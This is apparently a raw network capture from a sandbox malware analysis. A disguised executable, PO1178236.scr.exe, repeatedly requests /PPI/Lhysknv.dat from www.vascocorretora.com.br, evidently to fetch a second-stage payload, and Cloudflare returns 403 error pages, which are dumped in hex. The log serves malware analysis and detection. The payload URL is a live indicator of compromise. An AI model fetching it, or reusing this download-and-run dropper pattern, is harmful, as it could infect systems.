2025-01-09 07:29:40 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWgL7gnmlLC9GYfuHYqQlFHUB4dafoZ4ZVoWrv3wbfqVhY0M1VHPAwRGRkjiKgwYcKO21hTzFXWw7LEhqiG%2Bik%2FrdhpO9NwpBgyhd11LIY58qMEyDxV4Bl19%2BuhQJpSesx4CY49TeOmiYrhE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7b458f0de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1599&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1775075&cwnd=248&unsent_bytes=0&cid=5bb2b160ab9716a2&ts=135&x=0"
2025-01-09 07:29:40 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:40 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:40 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:40 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 62 34 35 38 66 30 64 65 39 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7b458f0de93</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:40 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 62 34 35 38 66 30 64 65 39 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7b458f0de93',t:'MTczNjQwNzc4MC4wMDAwMDA='};var
2025-01-09 07:29:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50037	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:41 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:41 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98FEBv5lEXUkxNRGr4NQGeak7O9pRXzsMlKOKdAF5lcQ3cqzbpqtjuAyE5ZS0QLsOQOUrwdsLtpbVdh%2FP3XYd7WtrH0bO8vQUIwDl2o7zqBhvs4DRxPMPEGGC3RiCh8EI52UBot%2FKUtKPllz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7b84cfd4378-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2404&min_rtt=2394&rtt_var=905&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1219715&cwnd=235&unsent_bytes=0&cid=1e3561361fe15e91&ts=152&x=0"
2025-01-09 07:29:41 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 62 38 34 63 66 64 34 33 37 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7b84cfd4378</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:41 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 62 38 34 63 66 64 34 33 37 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7b84cfd4378',t:'MTczNjQwNzc4MS4wMDAwMDA='};var a=d
2025-01-09 07:29:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50040	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:41 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:41 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Srfs8XYGN4H0K1zmEcCww9Wu%2BUjoTK%2FgQvSvQek6u%2F7J7nhSqeEkLh6l%2BjqdiSfjAtObjpHO%2BG5pDsCykV8e35usiGiRbA1Meolf2uh55OfsO6UX35IKKXaBillRY6dXd%2BlTANlWXl82JX%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7bc8f294225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1631&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1611479&cwnd=235&unsent_bytes=0&cid=90ccf2d0b15ef9b6&ts=133&x=0"
2025-01-09 07:29:41 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:41 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 62 63 38 66 32 39 34 32 32 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7bc8f294225</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:41 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 62 63 38 66 32 39 34 32 32 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 53 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7bc8f294225',t:'MTczNjQwNzc4MS4wMDAwMDA=
2025-01-09 07:29:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50046	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:42 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:42 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bBq5k5Hg%2FipYojs9%2BmL7Wgqx94yW0k8tj%2Ffw74ThNdFLE4hz0Ei7r9f94PaAFQ7L95O6uSBgI6vwFmNJH5oICiV0MKD6HQ%2Fw52wKQ8vPq8aMg3hzFdV%2FZNWGn9loEXAeCm3PoFG2Elp%2BvUud"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7c04c1541e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1643&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1632196&cwnd=239&unsent_bytes=0&cid=44f97e54c3770f79&ts=135&x=0"
2025-01-09 07:29:42 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 